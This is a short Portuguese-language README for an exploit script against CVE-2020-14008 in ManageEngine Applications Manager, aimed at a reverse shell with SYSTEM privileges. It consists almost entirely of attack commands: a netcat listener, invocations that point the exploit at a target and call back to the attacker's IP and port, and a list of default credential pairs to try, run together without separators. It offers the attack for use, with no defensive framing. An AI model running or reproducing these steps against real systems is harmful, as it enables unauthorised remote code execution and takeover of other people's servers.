
Este script explora a CVE-2020-14008 no ManageEngine Applications Manager para obter um shell reverso com privilégios de SYSTEM.
pip3 install requests urllib3
nc -nlvp 9001
python3 cve-2020-14008-exploit.py <target_url> <username> <password> <your_ip> <your_port>
# Direct attack
python3 cve-2020-14008-exploit.py https://192.168.1.100:8443 admin admin 192.168.1.50 9001
# Through port forwarding
python3 cve-2020-14008-exploit.py https://localhost:8443 admin admin 127.0.0.1 9001
admin:adminadministrator:administratorguest:guest